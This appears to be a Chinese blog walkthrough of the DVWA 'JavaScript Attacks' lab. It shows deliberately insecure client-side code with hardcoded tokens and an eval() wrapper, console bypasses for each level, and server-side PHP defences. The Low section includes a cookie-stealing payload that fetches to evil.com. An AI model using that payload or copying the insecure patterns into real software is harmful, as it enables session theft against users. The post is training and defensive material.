0%

DVWA - JavaScript Attacks 攻防练习详解

目录


漏洞简介

什么是JavaScript Attacks(JavaScript攻击)?

JavaScript攻击是指通过客户端JavaScript代码的漏洞进行的攻击,包括客户端逻辑绕过、JavaScript代码分析、原型链污染、DOM破坏等。

JavaScript攻击的类型:

  1. 客户端验证绕过 - 修改或禁用JavaScript验证
  2. 逻辑漏洞利用 - 利用JavaScript代码中的逻辑错误
  3. 代码混淆破解 - 反混淆获取敏感信息
  4. 原型链污染 - 污染Object.prototype
  5. DOM Clobbering - 通过HTML元素ID/name覆盖全局变量
  6. JavaScript注入 - 向JavaScript上下文注入恶意代码
  7. WebAssembly攻击 - 利用WASM的漏洞

危害:

  • 绕过客户端安全检查
  • 获取隐藏的敏感信息
  • 修改程序逻辑
  • 执行未授权操作
  • 窃取令牌和密钥

DVWA场景:
一个JavaScript验证的表单,用户需要通过token验证才能提交。

关键原则:

永远不要信任客户端!所有安全验证都应在服务器端进行。


Low 难度

攻击目标

客户端JavaScript包含明文token,可直接获取。

前端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<!DOCTYPE html>
<html>
<head>
<title>JavaScript Attacks - Low</title>
</head>
<body>
<h1>JavaScript Attack Test</h1>

<p>Submit the phrase "success" to win!</p>

<form id="submitForm">
<input type="text" id="phrase" name="phrase" placeholder="Enter phrase">
<button type="submit">Submit</button>
</form>

<div id="result"></div>

<script>
// ★★★ 核心漏洞:token硬编码在客户端 ★★★
// 任何人都可以查看源代码获取token
// 这是最严重的安全错误之一
var token = "success";

// 表单提交处理
document.getElementById('submitForm').addEventListener('submit', function(e) {
e.preventDefault();

// 获取用户输入
var phrase = document.getElementById('phrase').value;

// ★★★ 危险操作:客户端验证 ★★★
// 问题:
// 1. token明文存储在JavaScript中
// 2. 验证完全在客户端进行
// 3. 攻击者可以直接查看token
// 4. 可以禁用JavaScript绕过验证
if (phrase === token) {
// 验证通过
document.getElementById('result').innerHTML =
'<p style="color:green;">✓ Correct! Well done!</p>';

// ★★★ 问题:在客户端显示敏感信息 ★★★
// 实际应用中可能是:
// - API密钥
// - 数据库凭证
// - 管理员令牌
// - 加密密钥
console.log('Token validated: ' + token);
console.log('Secret data: admin_password_123');

} else {
// 验证失败
document.getElementById('result').innerHTML =
'<p style="color:red;">✗ Invalid phrase</p>';
}
});

// ★★★ 更危险的做法:在JavaScript中存储敏感数据 ★★★
var config = {
apiKey: 'sk-1234567890abcdef',
apiSecret: 'secret_key_do_not_share',
adminToken: 'admin_token_12345',
databasePassword: 'db_pass_456'
};

// ★★★ 问题:使用eval()或Function()执行动态代码 ★★★
// 如果有输入可以影响这些,就会导致代码注入
function executeCommand(cmd) {
// 极度危险!
eval(cmd);
}

// ★★★ 问题:敏感逻辑暴露 ★★★
function isAdmin() {
// 这种检查毫无意义,因为攻击者可以直接调用grantAdminAccess()
return true;
}

function grantAdminAccess() {
console.log('Admin access granted!');
window.location = '/admin/dashboard';
}
</script>
</body>
</html>

漏洞分析

核心问题:

  1. 明文token - 直接写在JavaScript中
  2. 客户端验证 - 所有验证在浏览器进行
  3. 敏感信息泄露 - API密钥、密码等存储在JS
  4. 可绕过的逻辑 - 攻击者可以直接调用函数
  5. 使用eval() - 可能导致代码注入

数据流:

1
2
3
用户输入 → JavaScript验证 → 客户端显示结果

问题:服务器完全不参与验证!

攻击步骤

步骤1:查看源代码获取token

方法1:右键查看源代码

1
2
3
4
1. 右键点击页面
2. 选择"查看源代码"
3. 搜索"token""success"
4. 找到:var token = "success";

方法2:使用DevTools

1
2
3
4
1. 按F12打开开发者工具
2. 切换到"Sources"标签
3. 查看内联JavaScript
4. 找到token变量

方法3:直接在Console查看

1
2
3
// 在Console中输入
console.log(token);
// 输出:success

步骤2:提取所有敏感信息

1
2
3
4
5
// 在Console中执行
console.log(token); // success
console.log(config.apiKey); // sk-1234567890abcdef
console.log(config.apiSecret); // secret_key_do_not_share
console.log(config.adminToken); // admin_token_12345

步骤3:绕过验证直接调用函数

1
2
3
4
5
6
7
// 直接调用敏感函数
grantAdminAccess();
// 结果:直接跳转到admin页面

// 或修改DOM
document.getElementById('result').innerHTML =
'<p style="color:green;">✓ Hacked!</p>';

步骤4:禁用JavaScript验证

方法1:修改HTML

1
2
3
4
// 在Console中
document.getElementById('submitForm').onsubmit = null;
// 或
document.getElementById('submitForm').removeEventListener('submit', ...);

方法2:直接发送请求

1
2
3
4
5
6
// 使用fetch绕过前端验证
fetch('/submit', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({phrase: 'anything'})
});

步骤5:利用eval()执行任意代码

1
2
3
// 如果应用允许用户输入影响eval()
executeCommand('alert("XSS")');
executeCommand('fetch("http://evil.com/?cookie=" + document.cookie)');

步骤6:提取完整的JavaScript代码

1
2
3
4
5
6
7
8
9
// 获取所有全局变量
console.log(Object.keys(window));

// 获取所有函数
Object.keys(window).forEach(key => {
if (typeof window[key] === 'function') {
console.log(key + ':', window[key].toString());
}
});

Medium 难度

攻击目标

token被简单编码或混淆,但可以破解。

前端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<script>
// ★★★ Medium难度:简单混淆 ★★★

// 方法1:Base64编码(极易破解)
// btoa() - 将字符串编码为Base64
// atob() - 将Base64解码为字符串
var encodedToken = "c3VjY2Vzcw=="; // Base64("success")

function checkPhrase(input) {
// ★★★ 问题:解码逻辑在客户端 ★★★
// atob() - Base64解码
// 攻击者可以轻易破解
var decoded = atob(encodedToken);

if (input === decoded) {
return true;
}
return false;
}

// 方法2:简单的字符串操作(毫无安全性)
var obfuscatedToken = "sseccus"; // "success"的反转

function validateInput(input) {
// ★★★ 问题:反转逻辑暴露 ★★★
// 攻击者可以看到split().reverse().join()
// 轻易推断出原始值
var token = obfuscatedToken.split('').reverse().join('');

return input === token;
}

// 方法3:简单的XOR加密(不安全)
function xorEncrypt(str, key) {
let result = '';
for (let i = 0; i < str.length; i++) {
// ★★★ XOR操作 ★★★
// charCodeAt() - 返回字符的Unicode码
// String.fromCharCode() - 从Unicode码创建字符
// ^ - XOR运算符
result += String.fromCharCode(
str.charCodeAt(i) ^ key.charCodeAt(i % key.length)
);
}
return result;
}

var key = "mykey";
var encryptedToken = xorEncrypt("success", key);

function verifyPhrase(input) {
// ★★★ 问题:加密密钥和算法都在客户端 ★★★
var decrypted = xorEncrypt(encryptedToken, key);
return input === decrypted;
}

// 方法4:简单的字符替换
var substitutionMap = {
's': 'x',
'u': 'y',
'c': 'z',
'e': 'a'
};

var cipherToken = "xyzxyzz"; // "success"经过替换

function checkToken(input) {
var plainToken = "";
// ★★★ 问题:替换表完全暴露 ★★★
// 攻击者可以轻易反向操作
for (let char of cipherToken) {
for (let [key, value] of Object.entries(substitutionMap)) {
if (value === char) {
plainToken += key;
break;
}
}
}

return input === plainToken;
}

// 表单提交
document.getElementById('submitForm').addEventListener('submit', function(e) {
e.preventDefault();
var phrase = document.getElementById('phrase').value;

// 使用混淆的验证函数
if (checkPhrase(phrase) || validateInput(phrase) ||
verifyPhrase(phrase) || checkToken(phrase)) {
document.getElementById('result').innerHTML =
'<p style="color:green;">✓ Correct!</p>';
} else {
document.getElementById('result').innerHTML =
'<p style="color:red;">✗ Wrong!</p>';
}
});
</script>

新增防护

  1. Base64编码 - 对token进行Base64编码
  2. 字符串反转 - 简单的字符串操作
  3. XOR加密 - 简单的加密算法
  4. 字符替换 - 替换映射表

仍存在的漏洞

核心问题:所有”加密”和”混淆”都在客户端!

1
2
3
客户端混淆 ≠ 安全
客户端加密 ≠ 安全
客户端验证 ≠ 安全

问题清单:

  1. 编码/加密算法完全暴露
  2. 密钥存储在JavaScript中
  3. 攻击者可以直接调用解密函数
  4. 可以在Console中测试破解

绕过方法

方法1:Base64解码

1
2
3
4
// 在Console中
var encodedToken = "c3VjY2Vzcw==";
var decoded = atob(encodedToken);
console.log(decoded); // "success"

方法2:反转字符串

1
2
3
4
// 在Console中
var obfuscatedToken = "sseccus";
var token = obfuscatedToken.split('').reverse().join('');
console.log(token); // "success"

方法3:XOR解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 复制xorEncrypt函数
function xorEncrypt(str, key) {
let result = '';
for (let i = 0; i < str.length; i++) {
result += String.fromCharCode(
str.charCodeAt(i) ^ key.charCodeAt(i % key.length)
);
}
return result;
}

// 使用相同的密钥解密
var key = "mykey";
var decrypted = xorEncrypt(encryptedToken, key);
console.log(decrypted); // "success"

方法4:反向替换

1
2
3
4
5
6
7
8
9
10
11
12
// 创建反向映射
var reverseMap = {};
for (let [key, value] of Object.entries(substitutionMap)) {
reverseMap[value] = key;
}

// 解密
var plainToken = "";
for (let char of cipherToken) {
plainToken += reverseMap[char];
}
console.log(plainToken); // "success"

方法5:直接调用验证函数测试

1
2
3
4
5
6
7
// 在Console中暴力测试
var possibilities = ['success', 'admin', 'password', 'token'];
possibilities.forEach(word => {
if (checkPhrase(word)) {
console.log('Found:', word);
}
});

High 难度

攻击目标

使用更复杂的混淆和加密,但仍在客户端可破解。

前端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
<script>
// ★★★ High难度:复杂混淆 ★★★

// 方法1:使用JavaScript混淆器(如javascript-obfuscator)
// 看起来像这样:
var _0x1a2b=['c3VjY2Vzcw==','charCodeAt','fromCharCode'];
(function(_0x4c3d8f,_0x1a2b3c){
var _0x2d4e5a=function(_0x6b7c8d){
while(--_0x6b7c8d){
_0x4c3d8f['push'](_0x4c3d8f['shift']());
}
};
_0x2d4e5a(++_0x1a2b3c);
}(_0x1a2b,0x12c));
var _0x2d4e=function(_0x4c3d8f,_0x1a2b3c){
_0x4c3d8f=_0x4c3d8f-0x0;
var _0x2d4e5a=_0x1a2b[_0x4c3d8f];
return _0x2d4e5a;
};

// ★★★ 问题:混淆不等于加密 ★★★
// 虽然难读,但逻辑仍在客户端
// 可以通过调试工具分析

function _0x3f2a1b(_0x5d8c2e){
var _0x7e9f3a=atob(_0x2d4e('0x0'));
return _0x5d8c2e===_0x7e9f3a;
}

// 方法2:使用多层加密
function tripleEncrypt(str) {
// 第一层:Base64
var layer1 = btoa(str);

// 第二层:XOR
var layer2 = "";
for (let i = 0; i < layer1.length; i++) {
layer2 += String.fromCharCode(
layer1.charCodeAt(i) ^ 0x42
);
}

// 第三层:再次Base64
var layer3 = btoa(layer2);

return layer3;
}

// ★★★ 问题:加密函数就在旁边 ★★★
// 攻击者可以直接调用解密
function tripleDecrypt(encrypted) {
// 第三层:Base64解码
var layer2 = atob(encrypted);

// 第二层:XOR
var layer1 = "";
for (let i = 0; i < layer2.length; i++) {
layer1 += String.fromCharCode(
layer2.charCodeAt(i) ^ 0x42
);
}

// 第一层:Base64解码
var original = atob(layer1);

return original;
}

var multiEncryptedToken = tripleEncrypt("success");

// 方法3:使用WebCrypto API(看似安全)
async function deriveKey(password) {
// ★★★ 使用Web Crypto API ★★★
// TextEncoder - 将字符串转换为Uint8Array
const enc = new TextEncoder();

// ★★★ 问题:密码仍在JavaScript中 ★★★
const keyMaterial = await crypto.subtle.importKey(
"raw",
enc.encode(password),
"PBKDF2",
false,
["deriveBits", "deriveKey"]
);

// PBKDF2 - Password-Based Key Derivation Function 2
// 用于从密码派生密钥
return crypto.subtle.deriveKey(
{
name: "PBKDF2",
salt: enc.encode("salt_value_12345"),
iterations: 100000,
hash: "SHA-256"
},
keyMaterial,
{ name: "AES-GCM", length: 256 },
false,
["encrypt", "decrypt"]
);
}

async function encryptToken(plaintext) {
const key = await deriveKey("my_secret_password");
const enc = new TextEncoder();
const encoded = enc.encode(plaintext);

// ★★★ AES-GCM加密 ★★★
const iv = crypto.getRandomValues(new Uint8Array(12));
const ciphertext = await crypto.subtle.encrypt(
{
name: "AES-GCM",
iv: iv
},
key,
encoded
);

// 返回IV和密文
return {
iv: Array.from(iv),
ciphertext: Array.from(new Uint8Array(ciphertext))
};
}

// ★★★ 核心问题:解密函数也在客户端 ★★★
async function decryptToken(encrypted) {
const key = await deriveKey("my_secret_password");

const iv = new Uint8Array(encrypted.iv);
const ciphertext = new Uint8Array(encrypted.ciphertext);

const plaintext = await crypto.subtle.decrypt(
{
name: "AES-GCM",
iv: iv
},
key,
ciphertext
);

const dec = new TextDecoder();
return dec.decode(plaintext);
}

// 存储加密的token(但密码就在代码里)
var cryptoToken = null;
encryptToken("success").then(encrypted => {
cryptoToken = encrypted;
});

// 表单验证
document.getElementById('submitForm').addEventListener('submit', async function(e) {
e.preventDefault();
var phrase = document.getElementById('phrase').value;

// 解密并验证
var decrypted = await decryptToken(cryptoToken);

if (phrase === decrypted) {
document.getElementById('result').innerHTML =
'<p style="color:green;">✓ Correct!</p>';
} else {
document.getElementById('result').innerHTML =
'<p style="color:red;">✗ Wrong!</p>';
}
});
</script>

新增防护

  1. 代码混淆 - 使用混淆器处理JavaScript
  2. 多层加密 - Base64 + XOR + Base64
  3. Web Crypto API - 使用浏览器加密API
  4. 复杂逻辑 - 增加逆向难度

仍存在的漏洞

根本问题:

1
无论加密多复杂,解密逻辑都在客户端!

具体问题:

  1. 混淆可以通过调试器分析
  2. 加密密钥存储在JavaScript中
  3. 解密函数可以直接调用
  4. 可以在运行时拦截数据

绕过方法

方法1:反混淆工具

1
2
3
4
5
6
1. 复制混淆的代码
2. 使用在线反混淆工具:
- https://deobfuscate.io/
- https://beautifier.io/
- Chrome DevTools的Pretty Print
3. 分析反混淆后的代码

方法2:调试器断点

1
2
3
4
5
6
7
8
9
10
11
// 在Chrome DevTools中
1. 打开Sources标签
2. 找到验证函数
3. 在关键行设置断点(如return语句)
4. 提交表单触发断点
5. 查看变量值

// 或使用debugger语句
debugger;
var decrypted = await decryptToken(cryptoToken);
console.log(decrypted); // 查看解密结果

方法3:直接调用解密函数

1
2
3
4
5
6
7
8
9
// 在Console中
// 方法1:简单加密
var decrypted = tripleDecrypt(multiEncryptedToken);
console.log(decrypted); // "success"

// 方法2:Crypto API
decryptToken(cryptoToken).then(result => {
console.log('Decrypted:', result);
});

方法4:运行时拦截

1
2
3
4
5
6
7
8
9
10
11
12
// 拦截函数调用
var originalFunction = tripleDecrypt;
tripleDecrypt = function(encrypted) {
var result = originalFunction(encrypted);
console.log('Intercepted decryption:', result);
return result;
};

// 或修改函数输出
document.getElementById('submitForm').addEventListener = function() {
console.log('Form validation bypassed');
};

Impossible 难度

攻击目标

所有验证在服务器端进行,客户端无敏感逻辑。

前后端代码分析

前端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<!DOCTYPE html>
<html>
<head>
<title>JavaScript Attacks - Impossible</title>
</head>
<body>
<h1>JavaScript Attack Test - Impossible</h1>

<p>Submit the correct phrase</p>

<form id="submitForm">
<input type="text" id="phrase" name="phrase" placeholder="Enter phrase">
<button type="submit">Submit</button>
</form>

<div id="result"></div>

<script>
// ★★★ Impossible: 客户端只处理UI逻辑 ★★★
// 完全不包含任何敏感信息
// 不进行任何业务验证

document.getElementById('submitForm').addEventListener('submit', async function(e) {
e.preventDefault();

// 获取用户输入
var phrase = document.getElementById('phrase').value;

// ★★★ 核心改进:发送到服务器验证 ★★★
// 所有验证逻辑在服务器端
// 客户端只负责显示结果
try {
const response = await fetch('/api/validate', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
// ★★★ CSRF Token ★★★
'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
},
body: JSON.stringify({ phrase: phrase })
});

const data = await response.json();

// ★★★ 显示服务器返回的结果 ★★★
// 客户端不做任何判断
if (data.success) {
document.getElementById('result').innerHTML =
'<p style="color:green;">✓ ' + data.message + '</p>';
} else {
document.getElementById('result').innerHTML =
'<p style="color:red;">✗ ' + data.message + '</p>';
}

} catch (error) {
document.getElementById('result').innerHTML =
'<p style="color:red;">Error: ' + error.message + '</p>';
}
});

// ★★★ 完全没有敏感数据 ★★★
// 没有token
// 没有密钥
// 没有密码
// 没有业务逻辑
</script>
</body>
</html>

后端代码(PHP):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
<?php

// api/validate.php

// ★★★ Impossible: 所有验证在服务器端 ★★★

// 启动Session
session_start();

// ★★★ 核心防护1:验证CSRF Token ★★★
// checkToken() - 验证CSRF token
// 防止跨站请求伪造
$csrfToken = $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!hash_equals($_SESSION['csrf_token'], $csrfToken)) {
http_response_code(403);
echo json_encode(['success' => false, 'message' => 'Invalid CSRF token']);
exit;
}

// ★★★ 核心防护2:限流 ★★★
// 防止暴力破解
if (!checkRateLimit($_SERVER['REMOTE_ADDR'])) {
http_response_code(429);
echo json_encode(['success' => false, 'message' => 'Too many requests']);
exit;
}

// 获取POST数据
$input = file_get_contents('php://input');
$data = json_decode($input, true);

// 验证输入
if (!isset($data['phrase'])) {
http_response_code(400);
echo json_encode(['success' => false, 'message' => 'Missing phrase']);
exit;
}

$phrase = trim($data['phrase']);

// ★★★ 核心防护3:在服务器端存储和验证token ★★★
// 方法1:从数据库读取
$stmt = $pdo->prepare("SELECT token FROM challenges WHERE id = ?");
$stmt->execute([1]);
$expectedToken = $stmt->fetchColumn();

// 方法2:从配置文件读取
// $expectedToken = getenv('CHALLENGE_TOKEN');

// 方法3:动态生成(基于用户Session)
// $expectedToken = generateTokenForUser($_SESSION['user_id']);

// ★★★ 验证 ★★★
// hash_equals() - 时间安全的字符串比较
// 防止时序攻击
if (hash_equals($expectedToken, $phrase)) {

// ★★★ 记录成功的尝试 ★★★
logAttempt($_SESSION['user_id'], $phrase, true);

// 返回成功
echo json_encode([
'success' => true,
'message' => 'Correct! Well done!'
]);

} else {

// ★★★ 记录失败的尝试 ★★★
logAttempt($_SESSION['user_id'], $phrase, false);

// 返回失败(不透露具体原因)
echo json_encode([
'success' => false,
'message' => 'Invalid phrase'
]);
}

// ★★★ 辅助函数:限流检查 ★★★
function checkRateLimit($ip) {
// 使用Redis或数据库实现
// 例如:每分钟最多5次请求
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);

$key = "rate_limit:$ip";
$requests = $redis->incr($key);

if ($requests == 1) {
$redis->expire($key, 60); // 60秒过期
}

return $requests <= 5; // 每分钟最多5次
}

// ★★★ 辅助函数:记录尝试 ★★★
function logAttempt($userId, $phrase, $success) {
global $pdo;

$stmt = $pdo->prepare(
"INSERT INTO attempt_logs (user_id, phrase, success, ip_address, timestamp)
VALUES (?, ?, ?, ?, NOW())"
);

$stmt->execute([
$userId,
$phrase,
$success ? 1 : 0,
$_SERVER['REMOTE_ADDR']
]);
}

?>

完善的防护机制

多层防御:

  1. 服务器端验证 - 所有业务逻辑在服务器
  2. CSRF Protection - Token验证
  3. 限流机制 - 防止暴力破解
  4. 日志记录 - 记录所有尝试
  5. 时序安全比较 - hash_equals()防时序攻击
  6. 无敏感信息泄露 - 客户端完全不包含秘密

架构对比:

1
2
3
4
5
6
7
8
9
Low/Medium/High (不安全):
用户输入 → JavaScript验证 → 显示结果

包含token、密钥、逻辑

Impossible (安全):
用户输入 → 发送到服务器 → 服务器验证 → 返回结果 → 显示

所有敏感信息和逻辑

为什么无法攻破?

所有攻击都失败:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
攻击1:查看源代码
结果:没有任何敏感信息

攻击2:使用DevTools调试
结果:只能看到UI逻辑,没有业务逻辑

攻击3:直接调用函数
结果:没有验证函数可调用

攻击4:修改JavaScript
结果:服务器端验证不受影响

攻击5:暴力破解
结果:被限流机制阻止

攻击6:重放攻击
结果:CSRF token验证失败

防御建议

架构层面

1. 永远不信任客户端

1
2
3
4
5
6
❌ 错误模式:
客户端验证 → 通过 → 执行操作

✅ 正确模式:
客户端验证(仅用于用户体验)
服务器验证 → 通过 → 执行操作

2. 敏感数据和逻辑在服务器端

1
2
3
4
5
6
7
8
9
10
// ❌ 错误:在JavaScript中
var apiKey = "sk-1234567890";
var adminToken = "admin_xyz";

// ✅ 正确:在服务器端
// config.php
return [
'api_key' => getenv('API_KEY'),
'admin_token' => getenv('ADMIN_TOKEN')
];

3. 实施适当的限流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 使用中间件限流
class RateLimitMiddleware {
public function handle($request, $next) {
$key = 'rate_limit:' . $request->ip();
$limit = 10; // 每分钟10次
$window = 60; // 60秒

if (Cache::increment($key) > $limit) {
return response()->json(['error' => 'Too many requests'], 429);
}

Cache::put($key, 1, $window);

return $next($request);
}
}

代码层面

1. 避免在JavaScript中存储敏感信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// ❌ 错误
var password = "admin123";
var secretKey = "sk_live_12345";

// ✅ 正确
// 从服务器API获取(需要认证)
fetch('/api/config', {
headers: {
'Authorization': 'Bearer ' + sessionToken
}
})
.then(response => response.json())
.then(config => {
// 使用配置,但不永久存储
});

2. 客户端验证仅用于用户体验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// ✅ 客户端验证(提升用户体验)
function validateEmail(email) {
if (!email.includes('@')) {
alert('Invalid email format');
return false;
}
return true;
}

// 但必须在服务器端再次验证
// PHP后端
if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
die('Invalid email');
}

3. 使用环境变量存储秘密

1
2
3
4
5
6
7
8
// .env文件
API_KEY=sk_live_1234567890
DB_PASSWORD=secure_password_123
JWT_SECRET=random_secret_key

// 代码中使用
$apiKey = getenv('API_KEY');
$dbPassword = getenv('DB_PASSWORD');

4. 实施内容安全策略(CSP)

1
2
// 防止内联JavaScript执行
header("Content-Security-Policy: script-src 'nonce-{$nonce}' 'strict-dynamic';");

监控层面

1. 日志记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 记录所有敏感操作
function logSecurityEvent($event, $data) {
$log = [
'timestamp' => date('Y-m-d H:i:s'),
'event' => $event,
'data' => $data,
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT']
];

file_put_contents(
'/var/log/security.log',
json_encode($log) . "\n",
FILE_APPEND
);
}

2. 异常检测

1
2
3
4
5
6
7
8
9
10
// 检测异常行为
function detectAnomalies($userId) {
// 短时间内大量失败尝试
$failedAttempts = countFailedAttempts($userId, 60); // 过去60秒

if ($failedAttempts > 5) {
alertSecurity("Possible brute force attack on user $userId");
lockAccount($userId, 300); // 锁定5分钟
}
}

总结对比

特性 Low Medium High Impossible
Token存储 明文JavaScript Base64/简单混淆 复杂加密 服务器端
验证位置 客户端 客户端 客户端 服务器端
敏感信息 完全暴露 编码暴露 加密暴露 不暴露
限流
CSRF防护
日志记录
攻击难度 极易 简单 中等 极难

实战建议

渗透测试检查清单:

  1. ✅ 查看所有JavaScript文件
  2. ✅ 搜索敏感关键词:token, password, key, secret, admin
  3. ✅ 使用DevTools调试
  4. ✅ 尝试禁用JavaScript
  5. ✅ 检查API请求和响应
  6. ✅ 测试限流机制
  7. ✅ 查找JSONP端点
  8. ✅ 测试原型链污染

防御检查清单:

  1. ✅ 所有敏感数据在服务器端
  2. ✅ 客户端验证仅用于UX
  3. ✅ 实施服务器端验证
  4. ✅ 使用CSRF Token
  5. ✅ 实施限流机制
  6. ✅ 记录安全事件
  7. ✅ 使用环境变量
  8. ✅ 实施CSP策略

道德准则:

  • 只在授权环境测试
  • 不泄露发现的敏感信息
  • 学习是为了构建安全的应用
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels